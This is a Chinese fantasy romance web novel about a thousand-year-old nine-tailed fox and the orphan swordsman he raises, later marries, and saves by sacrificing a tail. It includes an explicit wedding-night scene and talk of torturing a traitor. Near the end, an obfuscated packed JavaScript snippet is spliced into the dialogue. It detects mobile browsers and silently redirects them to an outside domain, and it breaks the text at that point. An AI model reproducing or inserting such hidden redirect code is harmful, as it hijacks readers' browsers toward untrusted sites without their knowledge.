九尾天狐是同古兽长生一样的存在,二者皆拥有无尽寿数和强大的妖力,这样的存在还有白凤一族。 可惜书上只记长生不记旁妖,鲜有世人知晓我们的存在。 九尾一族到了我这里已经血脉凋零,后来族人悉数战死,我成了世间最后一只九尾天狐。 我行于人世,在一处僻静的地方盖了一座院子,每日养花看书,抑或坐在屋子里雕扇坠,不问百妖纷争,倒也乐得清闲。 不过既然染了凡尘烟火,就不免要与人打交道。所幸九尾一族还没有强到长生那种妖气怎么都盖不住的地步。 为了更方便地隐藏妖气,我自封五成妖力,藏起妖气,完全就是一个普通人模样。 后来遇到一位修士,机缘巧合成了朋友,对方虽识破我的身份,却依旧待我如初,并未因身份产生隔阂。 直到某天,朋友从柳城救回一个七岁的孩子。 柳城本是设在边境用于与别国进行贸易往来用的城市,奈何一朝战事起,这座繁荣的城市顷刻间成了人间炼狱。 这孩子藏在亲人尸体下躲过一劫,蛮人走后才从柳城逃出来。 见朋友回来,我用妖力收了刻东西的工具,他身后的孩子将一切尽收眼底。 朋友说:“这孩子想跟我学剑,我剑术不是很好,不如你来教他。” 我抬眸,对上那孩子的眼睛:“我从未教过人,不一定能教好。” “不打紧,你尽力便是。我三天两头除妖,总不能让这孩子跟着我东奔西跑,不安全。” 我上下打量这孩子一番,没再说话。 这孩子眼里有一股怒火,几乎能把蛮人那片放牧用的连天草地烧干净。 我登时明白,这孩子,是要上战场的,他学剑,只是为了杀敌报仇。 我沉默片刻,终于开口:“你叫什么名字?” 那孩子并未回答,一双杏眼盯着我看了半晌,朋友干笑两声,为这孩子解围:“他对妖有些害怕,所以可能就……” 我叹气,向那孩子伸出手:“你怕我?” 那孩子犹豫片刻,伸出小手搭在我上手,被我拉到跟前,笑着说:“不怕。” 我一只活了千年的狐狸,还能不知道这个乳臭未干的小孩在想什么? 他虽然笑着,但实则心里连一旦我对他下手,他就杀了我的准备都做好了。 笑的不坦诚,眼中也藏不住杀意,太容易被看穿了。 “想骗人,就先藏住自己的情绪,八面玲珑才是顶级猎人该有的样子。” 那孩子被我拆穿,脸唰地红了,低下头不说话,朋友在一旁笑起来。 “现在能告诉我你的名字了么?”我又问。 “闻人璟。”那孩子终于开口。 “那我以后便唤你阿璟了。” “好。” 此后我和阿璟一同生活,闲暇时我会给他讲故事奇闻,涉及到很多地点。 洄溪、赤野峡、碎琼谷…… 其实阿璟起初不怎么吃饭。 他怀疑我下毒,每次都只吃很少。我无奈,某天吃饭时说他:“你一个乳臭未干的小毛孩,都没几两肉,我吃了你还不够塞牙缝呢,饭没毒。” 他有些生气,但终归是愿意好好吃饭了,就是不知道是被我的话伤到了还是自己想开了,我希望是后者。 阿璟学剑术一教就会,颇有几分天生剑胚的感觉,不过又和天生剑胚差了很多,有些很难的动作还得教好几遍。 2. 朋友除妖很少回来,我们只靠书信联系,阿璟十四岁那年,朋友的师妹送来一封信,那时我正在雕扇坠,这才知道朋友几天前就已去世,这封信是他的绝笔。 信中并未说什么感人肺腑的长篇大论,只说了一些此生有幸相遇之类的话,颇像是叙旧,仿佛我一抬头,就能看到朋友坐在我面前和我谈过往。 看完信,我将信烧了。既然是朋友的东西,总要随他去的。 烧到一半,我突然想留个念想,伸手要去拿火堆里的信,手还未触及火苗,便被一双手抓住。 “你疯了?” 我循声望去,发现那人是阿璟。 少年清秀的脸上此刻因为担心变得皱成一团,我抽回手,叹气道:“这火伤不了我。” 九尾一族的天火都伤不了我,我又怎么会怕这普通的凡火。 可阿璟依旧皱着眉,我不再看他,将目光落到那堆灰烬上,火舌吞噬了最后一块完整的信纸,整张纸都化为灰烬。 我收起那块尚未雕完的扇坠,起身离去:“罢了,人走茶凉,留个物什倒会给自己徒增悲伤,随他去了更好。” 悲伤对我而言是一种奢侈,我这话是说给阿璟听的,我觉得他应该在这种事上学会放下,可他却问我:“如果我也死了,你也会这样想么?” 冷不丁的一句话让我有些错愕,我看向他,发现他正盯着我,五官端正的脸上不是悲伤,而是一种难以言喻的,别样的感情。 更像是……在为我的话感到悲伤?他似乎怕我以后也这样对他。 我早就见惯了死亡,身边人的离开,对我而言像一日三餐那样平常。 可阿璟脸上还带有一丝期待,他似乎在期待我说“我不会这样”。 但事与愿违,我别过头去,只留了一句:“阿璟,人固有一死,我见多了。” 因为习惯,所以不会再流下一滴眼泪,即便将来这孩子也死了,于我而言,也不过又是一场离别。 阿璟没再说话,闷声走了。我知道,他生气了。 阿璟十八岁那年入伍,一去便是半年。 再回来时,已经是次年春夏之交,一场倒春寒让气温骤降。 那是一个细雨如丝的午后,虽说雨不大,但受倒春寒影响,外面比以前更冷。 我听闻大将军班师回朝,却没想到竟回来的这样快。阿璟闯进屋子时,我还在雕扇坠。 但近日逢上月食,我又因除妖一连几天都没休息好,元气也因月相受损,不免有些体弱。 阿璟开门时带进来一阵风,我还没说话,就止不住的咳嗽。他匆忙关了门,刚要走近却又停了脚步。 我停了咳嗽,从身后的桌子上捞起一件衣服扔给他,笑道:“不是什么大事,犯不着这么仔细我的身体,先把衣服换了吧。” 阿璟接过衣服却并未行动,依旧执着于我的身体:“你生病了?” “不是病,我没事,快去换衣服。” 阿璟还是不肯动,我无奈,又道:“你再不换衣服,我就要被你这铠甲上的寒气给冻死了。” 阿璟脚底生风般去自己的屋子换衣服了。 他已经同大将军面过圣,因剑术屡立军功,圣人都为之惊讶他的才能,大将军力荐之下,圣人封他越级做了骠骑将军。 圣旨是第二日送过来的,圣人的赏赐十分丰厚,甚至送了一座宅子。 但我这边的事情还没解决,就随便找了个借口说自己不想离开,不料阿璟也不去,连接风宴也跟着推了。 圣人宽厚,派来的公公也没为难我们,便将宅子留着,哪天阿璟想住过去了,可以随时搬过去。 3. 月食影响到的不只是我,所有妖都会受到影响。有些妖为了迅速恢复妖力,会在月食过后的几天杀人喝血。 我要做的便是除掉这些妖物。 那晚月光清澈,我追着一缕妖气出了门,追到城中一条隐蔽的巷子里,发现对方已经杀人了,便下狠手,以真身召天火,将那只妖烧得灰飞烟灭。 转身之际,却看到一个熟悉的身影站在巷子外面。 “阿璟?”我有些惊讶,忙收了真身。 阿璟抿抿唇,良久,他才开口:“你不愿意搬过去,就是因为这个?” 我叹气:“我总不能看着他们为了恢复妖力去残害无辜。” “你也是妖,也会受到影响。” “我知道,这里不是说话的地方。”我转身离开,并没有注意阿璟的表情和语气,他一言不发的跟着我回了家。 推开房门,我才发现阿璟并未回到自己的屋子,而是一路跟到我的卧房。 “受到影响,必须喝人血才能恢复么?”他站在门外问我。 我将他请进屋子,毕竟外面冷:“倒也不用非得这样,只是喝了能恢复的快一些。” “你受到的影响严重么?” 我给自己和阿璟斟茶:“不严重,还有比我更严重的。” 可明明只是很普通的一句陈述,也确实是事实,阿璟却怒了,他不自觉的提高声音,颇为不满的说:“你连一阵风都扛不住,这叫不严重?” “我说了,我没事。”我依旧十分淡定,不明白阿璟为何会关心这个。 我将茶递给他,他没接,只是起身,咬破自己的舌尖,然后俯下身子吻了过来。 一股腥甜的血腥味在嘴里散开,我意识到自己喝了人血,忙推开他。 我不知道事情为什么会发展成这个样子。 照顾阿璟这么多年,我自认为从来没有做过任何出格的事,我对感情太过迟钝,根本就搞不清楚问题出现在哪里。 我让自己强行镇定下来,放下茶盏,深吸一口气,沉下心来,道:“我累了,需要休息。” 阿璟并未挪动脚步。 “你若不回去,今晚就都别睡。反正我的身体如今已是这幅样子,我不介意破罐破摔,大不了和你互瞪他个十天半个月,谁都别想过得安稳。”我发了狠话。 拿自己的身体当筹码威胁阿璟永远是最好用的方法,每次劝他离开,一旦劝不动了,用这种理由他转身就走。 这次也一样。 我透过半开的窗户看着那道身影,无奈叹气。 人血确实是好东西,我能感觉到妖力正在逐渐恢复。此后一连数日,阿璟都没再同我说话,他又生气了。 直到某天中午,他帮我把做好的饭菜端上来时,尚未坐下,我说:“该回那座宅院了。” 阿璟猛然抬头,我只是扫他一眼,而后又将目光落在饭菜上:“我的事情已经解决,那是你用命换来的,不能因为我晾在一旁当摆设。” “所以,如果没有解决,你就不会过去对么?” 我放下手中碗筷,盯着阿璟,一字一句认真的说:“阿璟,我是你师父,还是妖。” 阿璟自始至终都没动筷,甚至不愿意坐下,他对上我的目光,苦笑道:“人和妖有什么区别么,不过是生来便身份不同,寿数不同罢了。只要我喜欢,这些都不重要!” 我镇定自若地夹了一口菜,毕竟木已成舟,比起发怒,我更想知道原因:“你既然知道这些,为何还要执着于我?阿璟,我想知道原因。” 阿璟摇头:“没有原因。” “如果连你自己都搞不清楚因何动情,那么我觉得我们还是以师徒关系一直相处下去为好。” “这话说的跟你知道了就会同意一样。”阿璟坐下来,开始动筷。 我:“……” 我没想到阿璟会突然噎我一句,不过他说的确实有道理,我就算知道了,也不会接受。 我是妖。 但无论如何,至少今天他愿意说话了,把话说开永远比沉默寡言能够更好的解决矛盾。 “明天就回去吧,你向陛下请示一下。”我又道。 “你会一直和我住在那里么?”阿璟眼中有些许期待。 我沉默片刻,叹气道:“会的。” 4. 其实对我来说,无论住在哪里,都只不过是换个地方养花看书、做些手工罢了。 不过我没想到,阿璟会在宅子里特意空出一大块地用来让我种花,我在那片空地上种了些百年春。 百年春是九尾一族特有的花,花期足足有百年之久。花瓣洁白如玉,月色皎洁时,远远望去,像是地上洒满了发光的白玉。 阿璟回来不过一个月又上了战场,临行前,他特意嘱咐府中管家府中大小事务都交由我处理。 我没有定时起床吃饭的习惯,阿璟走后,府中下人竟也也从未喊我,向来是由我睡到自然醒。 我喜欢自己打理花圃,下人们也很识趣的没管过花圃,这其中肯定有阿璟的授意。 某天我突发奇想的想知道阿璟到底为何会喜欢我,便试着找原因。 我活的太久,连最基本的世俗欲望快没有了,永远都是一副稀松平常波澜不惊的模样,我这样的妖,有什么可喜欢的呢? 我想不明白,此后没再想过。 阿璟再回来已是仲夏时节,彼时我正在雕扇坠,一旁燃着驱虫的熏香,朦胧香味萦绕在屋内,轻烟缥缈,自香炉缓缓升起。 太阳将要落山时,管家大喊着“将军回来了”,府里下人都很开心,我没管,依旧雕扇坠,雕累了,就抄些经书。 夕阳染红半边天时,房门被人打开,我放下笔,一如往常的想拿起衣服让他换上,抬头时却发现他早已换好衣服,我干脆拿起笔继续抄经书。 “在写什么?”阿璟凑上来,在桌上放了两块鹅卵石。 我之前同他讲过赤野峡的鹅卵石,那里的鹅卵石灌注妖力后可以开出花,想来是他觉得我应该会对这东西感兴趣,途径赤野峡就带回来两块。 这两块石头很特别,表面光滑,一块溜圆,没有任何歪曲的线条;另一块像瓜子,下圆上尖。 赤野峡的石头什么样我心里还是还是有数的,表面坑坑洼洼的比比皆是,线条歪七扭八的更是随处可见。 阿璟找来这两块石头,倒是有心了,但我并不感兴趣,依旧抄着经书,回了他一句:“抄佛经。” 阿璟似乎是不想让我抄的太顺畅,竟说了一句:“我想娶你。” 我抄经书的手一抖,工整的楷体字歪了一笔,显得十分不和谐。 阿璟计谋得逞,他抽走案上的宣纸,指着下面那张新的,笑意溢于言表:“我帮你换一张。” “你故意的?”我抬眼对上他深邃的眸子,有些生气。 他摇头,说不是。 我无奈:“阿璟,我没什么值得你喜欢的,你到底为什么会喜欢我?” 阿璟俯下身子,在我眉心落下一个蜻蜓点水般的吻:“有句话叫情不知所起,一往而深。师父,你能不能也喜欢我?试试就好,我想看看,你动情是什么样子。” 这话像是在求我,又像是撒娇。 我动情是什么样子? 其实我也想知道。 所以我想,试试吧,我活了这么久,还从来没有体会过亲情友情以外的感情。 5. 我开始试着去喜欢一个人,可我不明白,喜欢一个人是什么感觉。我天性冷淡,此后经历的种种又让我变成如今这幅模样,去喜欢一个人对我而言太难了。 阿璟会带我出去玩,会在我雕扇坠或者看书时坐在一旁静静地看着我,我觉得这样的生活和以前没什么区别,根本不会让我改变。 府里有个叫兰心的小丫鬟,总爱琢磨我和阿璟去哪里玩。 琢磨完了就跑过来告诉我们,然后问一句公子和将军能不能带某样东西回来给我看看。 罗管家在一旁拆穿她:“你想要就直说,别打着为了将军和公子的旗号。” 兰心撅起嘴,走了。阿璟喊住她,说可以。这姑娘是阿璟带回来的,她一家子都被劫匪杀了,阿璟救下她带回来,她主动做了府里的丫鬟。 小姑娘出身不算大富大贵,但也是个颇有家资的家庭,她哪里会做丫鬟的事,虽然做不好,但肯下功夫学。 府里满打满算也就三十来个下人,人多太热闹,我不喜欢,阿璟便只留了浣衣扫洒做饭采买的人,贴身伺候的一律没收。 兰心年纪是府里最小的,调皮机敏,有时嘴上咄咄逼人,但又热情,手头没活了,见谁忙不过来就帮一把,大家对她也就依着,只要我和阿璟不计较就行。 我们自然不会计较这些事,也就由着她。 渐渐的,我习惯了和阿璟一起出去的日子,但我从不进宫,阿璟每次想带我去宫宴我都会拒绝,他也就跟着不去。 我让他好歹去一次,他偏不,我无奈,只得由着他。 季节渐渐由夏入秋,阿璟很期待我能有些变化,可我没有。我不知道喜欢一个人到底是什么感觉,我只知道我现在习惯了陪着阿璟的日子,仅此而已。 我想,我大抵是让他失望了。我自己对此倒是无所谓,毕竟我从未对自己有过任何做出改变的期待。 我冷淡惯了,也平静惯了,任何能让别人掀起波澜的事物在我这里都不过是一片树叶落入深潭,能泛起波纹就已经很好了。 晚风清凉,我一时兴起在院子里挑灯赏萤火,星星点点的萤火上下飞舞,暖黄的光点十分惹人喜欢。 我很久没看过萤火了。 一切尚未发生之前,那时我还很小。 草药园里萤火漫天,兄长又跑又跳,将流萤尽数扑飞,我只是在一旁看着,不笑也不闹。 我生性冷淡,兄长说我性子古怪,说完又笑起来,说我这种性子古怪的九尾天狐前无古人,将来说不定能做出一番惊天大事。 我对他口中的惊天大事不感兴趣,只希望日子可以这样悠悠的过下去。 后来爆发战争,天火不分敌我,虽然赢了,但也有不少族人死在天火下。 那些被带回来火化的尸体残破不堪,无头、断臂、甚至还有被烧成两半的。 天火明明是我们生来便具有的,可为什么真要用到的时候,却会伤到我们? 我开始想办法让天火彻底被掌控。 再后来,须臾神树在大战中被烧毁,九尾一族悉数战死。 神树并没有像我想象的那样灰飞烟灭,留下的枯树干竟连同其他枯树一起形成了一座山。 受天地精华孕育的新芽在山上破土而出,长成灵木。灵木生出的第一片叶子被我摘下,叶子中的灵力与妖力保持着一种微妙的平衡,甚至可以相互转化。 我霎时明白,我找到了妖力与灵力相互转化的法子。 又过了一百年,我去了太荒漠地,在那里找到了天火本源,将本源炼化,与我融为一体,这才彻底掌控天火。 我成了世间仅存的九尾天狐,也是唯一能彻底掌控天火的九尾天狐。 肩上突然多了一件披风,我回过头,发现阿璟不知何时过来了。 “下次回来,我想让陛下赐婚。” 我不知道怎么回答,只能换个话题:“你明天就要走了,怎么不好好休息?” “你转移话题的技术真的很差。” 我对阿璟的吐槽无动于衷:“你知道我不会回答这种问题。” “我只是告诉你一下,想让你有个心理准备。” 我叹气,拢紧披风,道:“我不会在意这种事,不需要心理准备。” “你不同意?”阿璟有些失落。 “没有。”我摇头。 刚想抬眸看阿璟,却被他捧起脸吻了过来。我被吻的喘不过气,阿璟还是不肯放开我,我推他,他的吻就变成了惩罚性的啃咬。 其实这段时间我已经习惯了,对我来说阿璟做任何事都不奇怪,他之前也吻过我,但从未有一次像今天这么急躁。 我像被一只饿狼抓住的小白兔,唇舌纠缠间不断被他索取,我感觉他是真的能吃了我。 他的喘息声很重,像是在忍耐压抑。 我没再推开他,我好像习惯了,又好像是在不知不觉中接受了他。我不知道是哪一种,但我很明白,我有了些变化,尽管不是阿璟期待的那样。 6. 边关战事紧张,管家时不时会把从宫里打听来的消息说给我听。 这次主要是为了收复柳城。 属于衍国的国土,一分都不能少,那些丢了的,也一定会收回来。 当年柳城是一切的起点,蛮人开始蚕食衍国国土,而如今,他又要成为一个新的起点,成为衍国向蛮人下的战书。 文武百官都很看重这次的战事,期间也不乏有看在阿璟军功显赫想笼络的人来将军府拜访。 我让管家暗中查探朝中势力和文武百官的关系,然后根据消息写了一份名单交给他,让他记住上面的名字。 吩咐他若在名单之列的人来访一律称病不见,不在就报上名来,我来决定见不见对方。 管家照做了。 有一个叫顾永和的人,他不在名单上,我思来想去,决定见他。 顾永和很狡诈,每一句话都在给我下套,可惜他不知道我是一只千年的狐狸,在我面前玩心眼简直是班门弄斧。 毕竟论狡诈,谁比得过我们狐狸? 顾永和说他想在阿璟把柳城打下来后,让柳城像以前那样用作外贸。 用作外贸固然很好,但要看是对谁了。 我借口天色太晚让管家把顾永和送走了,此后他再也没找过我,我让管家派人暗中盯着他,管家盯了几天都没发现异常。 我依旧每日雕着扇坠,闲暇时间听管家汇报顾永和的近况。 离过年还有两个月的时候,柳城大捷的消息传遍了京都。兰心兴冲冲地来给我报喜,彼时我正在画丹青,闻言也只是点头示意我知道了。 兰心撅起嘴抱怨:“公子您简直是冰块成精,天大的喜事都扬不起嘴角。” 我停了笔,看向兰心,她忙把头扭过去,我问她:“阿璟走时说的话你可还记得?” “当然了。”兰心笑起来,“将军说他一定会赢,我还是很相信将军的。” “我也知道他会赢,你何时见我对意料之中的事笑过。” 我提笔继续作画,兰心一副恨铁不成钢的样子,跺着脚走了。 捷报传来的第四天下午,管家突然闯进来,说出事了。 我让他别急,慢慢说,他把派出去的人看到的一切都说了。 管家今日派出去的人看到顾永和带着一个蒙面人进了酒楼,他们透过窗户看到屋内那人鼻梁高挺,眼眸深邃,眉骨突出,根本不是衍国人的模样。 我心下一惊。 管家说顾永和没和那人说话,二人交流基本都用写字的方式。 我让管家退下,捏了一只灵蝶飞到顾永和在的那家酒楼,蝴蝶尚未停驻,我便看到纸上写了三个明显的大字:黑匣关。 从柳城返回京都需要半个月,途中要经过四处关口,第二处便是黑匣关。 黑匣关三面环山,地势四周高中间低,若是一面赌死再从外向内包抄,被包围的军队无异于瓮中之鳖。 算算时间,阿璟他们这时正经过黑匣关,大捷的消息四天前就传来了,顾永和不会今天才开始和那人商议计划的,又或者那人不是对方阵营的主谋,只是一个报信的。 若是第二种,阿璟今日便是九死一生。 我突然有种前所未有的慌乱感,催动妖力赶往黑匣关。 我怕阿璟死,我也不想让他死,那一瞬,我说不出是什么感觉,我只知道他不能死,那些和他一起归来的将士也不能! 他们为自己的国家奔赴前线,却在归来之时被同族陷害,这不公平! 可我去晚了,我去的时候,黑匣关尸横遍野,衍国的战旗染了血,倒在地上。 阿璟半跪在地。双眼茫然的盯着前方的某一个点,我抬眸,对上他的眸子,背后的残阳余晖被他挡住,他逆着光跪在那里,浑身是血,手死死抓住插在地上的剑,不肯倒下。 那把剑我认得,是大将军的。 他一定很疼吧,我想。 阿璟在看到我时眸中有一瞬的清明,我赶过去,想扶他起来,他却死死抓住我的手,我看的很清楚,他眼里是恨。 阿璟艰难的的吐出四个字:“帮我报仇……” “我不会让你死。” 我说话时很平静,可心中却压着一股怒火,我现在还不能表现出来,我要救人。 我现出真身,九条尾巴张开,遮住了头顶的光,我以妖力为刃断下一尾。那一瞬,一种前所未有的痛感让我觉得生不如死。 阿璟被我的举动震惊,他大抵没想到我会这么做,随后,他笑起来。 染了血的手抚摸着我的脸颊,他问我:“疼么?” 我说不疼。 我很疼,但阿璟一定更疼。 他不能死在这里,他得活着,我也得活着,我要看着他把顾永和拉入地狱,祭奠这三万将士的在天之灵。 “这个仇,你自己报。”我自断一尾,身子十分虚弱,声音都低了几分,“你活下去,我嫁给你。” 他说好。 我将断尾的妖力以妖气形式注入他体内。阿璟昏过去了,我带他回了将军府。 黑匣关一事惊动了陛下,我把他带回来时,他身上的妖力太过明显,我身子虚弱到了极点,根本没力气去隐藏妖气。 太医院的人来的时候,阿璟身上浓厚的妖气差点没把他们吓晕过去,管家说是我把阿璟救回来的,他们更是两眼一黑就要撅过去。 这些都是管家后来才告诉我的。 将军府里住了一只妖,他们聚在这里,简直是来给妖做慈善的。 我的身份败露,倒也没带来多大麻烦,陛下下令太医院众人禁止将此事外传,违者贬为庶人。 最开始那几天,太医院的太医围着阿璟忙的不可开交,一面给他治伤,一面琢磨我是怎么救了阿璟还能活过来的。 在他们的认知里,妖没了妖丹会死,我想救阿璟只能用自己的妖丹,但我没了妖丹,却依旧活着。 他们百思不得其解。 我回避了所有人,一如既往的坐在房间内雕扇坠,自然不会给出这个问题的答案。 府中事务近来都归管家会打理,我倒是得了不少空闲。 我每日洗漱完毕就开始雕扇坠,抑或是调息,没有古兽境的药泉,我恢复的特别缓慢。 阿璟的伤口要上药,管家每次帮他上药回来都会和我说他伤口的情况,我只是静静听着,时不时点头。 阿璟醒来时正逢第三日晚上。 那晚我去看他,刚推门进去就看到他已经穿好衣服了。 “我去让厨房做些粥。” 我转身离开,却被他拉住,说:“别去了,我不饿。” 阿璟将我揽在怀里:“疼么?” 我知道他是什么意思,依旧摇头说不疼。 管家推门进来,见到我们搂在一起,愣了一下,然后麻溜放下绷带和药跑了。 我:“……” 总不能让我给阿璟上药吧? 我想叫住管家,可他已经跑没影了,我第一次觉得管家跑的比兔子还快。 “一直是管家给我上药?”阿璟问我。 我点头,阿璟笑起来:“那就让他歇一会,这次你来。” “我去找人。” 我想离开,阿璟却不让,我有些后悔了。 救活徒弟病死师父,我现在连拿开阿璟环在我腰上的胳膊的力气都没有,想用妖力但又没这个必要,毕竟吃亏的还是我自己。 “你之前说的话可还算数?” “嗯?”我有些不明白,“什么话?” “我活下去,你嫁给我。” “算数的。” 阿璟笑的更厉害了,他拿起药和绷带递给我,说:“既然算数,那夫人为我上药就是天经地义的事了,干嘛非要找别人?” 我无奈,心说今晚不给他上药是走不出这房间了,只能硬着头皮给他上药。 他背上的伤很多,疤痕纵横交错,令人触目惊心。我上药时他没说话,也没喊疼,等我上完药,又缠好绷带,他突然问我:“想什么时候成亲?” 我缠绷带的手微顿,思考片刻,说:“等顾永和入狱。” “是顾永和的手笔?” “是。”我点头,拿起衣服递给阿璟。 他穿好衣服,又问:“你怎么知道的?” “别忘了我是狐狸。” 阿璟笑起来,将我搂在怀里亲了好久,在我快要窒息的时候才停下。 “他的事我来处理,你安心养伤,不用过问。” 我说好。 我根本不担心阿璟会处理不好顾永和的事,所以就没过问,大概率过了半个月,宫里来人请我去见皇后娘娘,我称病没去。 皇后娘娘倒也不恼,只是修书一封,派手下的大宫女亲自送到将军府。 我知道她不会计较这些事的,但我万万没想到她会给我写信。 管家接了信送到我房间,我展开信,信上没有提及任何顾永和的事,只问我可有什么喜欢的花纹样式。 我猜这是阿璟的主意,想了想,提笔随手写了几种送到了宫里。 我对这些事并不在意,我现在只关心顾永和什么时候入狱。 信送来的第三日,陛下下令诛顾家九族,顾永和年后问斩,处以极刑。 又过了两三日,府里突然热闹起来,我知道他们是在筹备婚礼的事。 我依旧雕扇坠,坐累了就起来走走,给院中的百年春浇水。 兰心比过年还开心,虽然忙,但也不妨碍她整日围着我,问我公子有没有什么爱吃的点心,说哪一家的点心特别好吃,我可以尝尝。 管家笑着说兰心是自己想吃了。 阿璟成了大将军。 他和我说,下个月初一,我们就成亲。 6. 成亲那天很热闹,我在房里等了很久,我并不是很喜欢和满身酒气的人打交道,我讨厌那种味道。 所以我正在考虑要不要为阿璟准备一碗醒酒汤,若是有药就更好了,最好再多备一件衣服,但我还没来得及准备,阿璟就推门进来了。 让我意外的是,他并没有喝酒。 掀盖头、合卺酒、结发、沃盥……我才发现人类成亲的步骤居然这么繁琐。 阿璟看出了我的想法,用帕子帮仔细帮我擦去手上的水珠:“也就一次了,我只娶你一个。下次别再救我了。” “不会了,这次你不该死,所以我才去救你。” 阿璟笑起来,顿了顿,他又说:“你们妖族成亲是什么步骤?” 这倒是问住我了。 每种妖都有不同的习俗,我不可能一个个去记的,但对我们九尾天狐来说掀了盖头就算礼成。 “掀了盖头就行。”我道。 阿璟将帕子扔到桌上,不怀好意的笑了一下:“我觉得少了一个。” “什么?”我不解。 他直接把我压在身下,吻得我喘不过气。良久,我才听他说:“少了圆房。” “不行,和妖有肌肤之亲会染上妖气。” 我劝阻他,他不听。 “他们有本事把我当成妖杀了。” 阿璟不知何时褪去了衣衫,我在他迷乱的吻中艰难喘息,连衣服什么时候被他扒掉了都不清楚,簪子被扔在地上,我的头发散下来,随意铺在床上。 “阿璟,别。” 我喊着他的名字,想让他停下来,右手死死抓住被褥,试图把喉咙里的呻吟声压下去,但没成功,饶是活了上千年,在这种生理本能上也无法抗拒。 我不记得那晚是怎么过来的了,一种前所未有的感觉混杂着喘息和呻吟,让我有些记忆模糊。 我心说算是栽在阿璟手上了。 但我没想到他会做的这么放肆。 做完这一切,我震惊之余更多的是羞愧,转而成了又羞又气,眼角硬是挤出了眼泪。 我瘫在床上,汗水浸湿了额间的发丝,大口大口的喘着粗气,原本已经褪去红潮的脸颊又染上绯红。 阿璟帮我擦去眼角的泪,他下了床,将我横抱起来。 我急了,怕他又做什么放肆的事,推了他一把:“放我下来!” 我根本就推不动他,阿璟不怒反笑,在我脸上蹭了几下,说:“我带你去沐浴。” 我信了。 但有些沐浴,根本不可信。 我闭上眼,头发散在水里,努力迎合阿璟,他却在我颈窝落了一个吻,安慰我说:“别紧张,跟着我的动作就好。” 我想跟着他的动作,但后来发现,我并不需要刻意去迎合,一味顺从生理本能的渴求才是最好的选择。 夜并不漫长,但也不好熬,我任由阿璟翻来覆去的折腾我,我活了一千多年,是真栽阿璟手上了。 更夫的锣声响了三次阿璟才从我身上下来,我是没力气了,嗓子也喊哑了,便由着他处理我。 阿璟让人把床上的被褥单子换掉,又带我沐浴清理,最后将我放在床上上药,上完药又换了衣服,我这才盖好被子躺在床上。 小腹酸胀,双腿发软,我连抬胳膊的力气都没有,在这种感觉下根本睡不着。 阿璟的手搭在我小腹上揉着,我懒得动弹,他就从背后将我搂在怀里,下巴抵着我的脑袋。 “早晚被你折腾死。” 我太累了,说话都有气无力的,明明是责怪,说出来却像撒娇。 阿璟笑起来,将我搂得更紧:“没办法,谁让我娶了一只狐狸精呢,太诱人了。况且,我看夫人还挺享受的,怎么做完就变脸了?” 我气不打一处来,没力气也硬是抬起胳膊朝阿璟大腿上掐了一把,虽然对他来说不痛不痒。 “你和谁学的,都会打趣我了?”我埋怨他,“而且你今天太乱来了。” 阿璟低声浅笑,他知道我说的乱来是什么意思,便为自己开脱:“我只是想让夫人体验一下从未体验过的感觉,有什么错?” “你!”我又在他大腿上掐了一把。 阿璟抓起我的手,仔细吻着我的每一根手指,说:“我还以为你活了这么久,不说尝过人事也应该自渎过,没想到哪个都没有。” 我抽回手,回道:“我天性冷淡,也并未成家立业,活得久了,对这些事也淡了,自然没做过。” 阿璟没回话,手贴着我的小腹向下移动,我惊觉不对劲,忙掀开被子坐起来。 “闻人璟!” 我生气了,冲他大喊,这段时间身体太虚弱,喊完我就止不住的咳嗽,紧接着,那种酸痛疲惫的感觉便如潮水般向我涌来。 阿璟忙起身,将我揽在怀里盖好被子。 咳完,我以一种下命令的口吻说:“以后你再像今天这么乱来,就别想再碰我一次!” 我是真的累了,说完这句话身子就软下来,没力气再去训斥阿璟。 阿璟由着我倚在他怀里,我现在虚弱劳累到了极点,只想就这么躺着睡一觉,阿璟不敢再乱动,用一种认错的语气说:“我以后不这么做了,下次再做你说停就停,我听你的。” 我没力气搭理他,但这话我听得一清二楚。 其实我是一次也不想做,但阿璟和我不一样,我是个连世俗欲望都快消失的妖,阿璟是人,今年也才十九,血气方刚的年纪,贪欢倒也正常。 不让他碰我是不可能的,不过有他这句承诺就够了,至少能保证我不会真的被他折腾死。 我没说话,倚着阿璟合了眼。 他了解我,有些承诺,不需要我点头就知道我会不会答应。 7. 我记不清自己是什么时候睡着的,没有什么比极度疲劳后舒舒服服的睡一觉更好了,但事不遂人愿,我睡的并不好。 我元气大伤尚未恢复,昨晚又被阿璟折腾,次日清晨意识朦胧之际,我隐约察觉到屋里有旁人。 那人的手搭在我脉搏上,片刻后又用手背测了一下我额头的温度,说:“夫人只是发烧,并无大碍。不过夫人身子太弱,须得好生养着,我写张方子和饮食禁忌,将军可以放心按我写的去做。” “多谢。” “将军不必客气。” 我实在是撑不住了,后面的话一句也没听清,脑袋昏昏沉沉的,再次醒来已经是晚上。 我并不怎么生病,没想到生起病来这么难受。不过无所谓了,大不了多难受几天,这样我就可以少被阿璟折腾几次,一个发烧还要不了我的命,但阿璟的折腾可以。 我还未起身,注意到这边动静的阿璟便走过来,扶着我坐起身子。 那种昏沉感消了许多,但我依旧觉得不舒服。阿璟端着一碗热粥要喂我,我没吃,只是伸出手,说:“我自己来就好。” 阿璟没把粥给我,反而调戏我说:“既然夫人能抬胳膊,想来是恢复力气了,是我不够努力。” 我叹气:“我一把年纪了,你这流氓做派用我身上?” “不行?”阿璟颇有兴致的看着我这个千岁老人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014061|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我冷着脸:“不行。” 阿璟笑了笑,将勺子递到我嘴边,没有任何要让我自己动手的意思。我无奈,尝了一口,甜粥下肚,身上的疲惫感消去不少。 “顾永和怎么样了?”我蓦地想起他,问了一句。 阿璟又舀了一勺粥送到我嘴边,见我吃了才开口:“狱里那么多刑具有他受的,前几天听说被疼晕过去了。” “年后问斩,倒是便宜他多活一个月。” “多活一个月又如何?”阿璟眸中划过一丝杀意,但依旧笑着喂我喝粥,“我已经上书陛下,让刽子手凌迟三万刀,一刀一命,他别想死得那么舒服。” 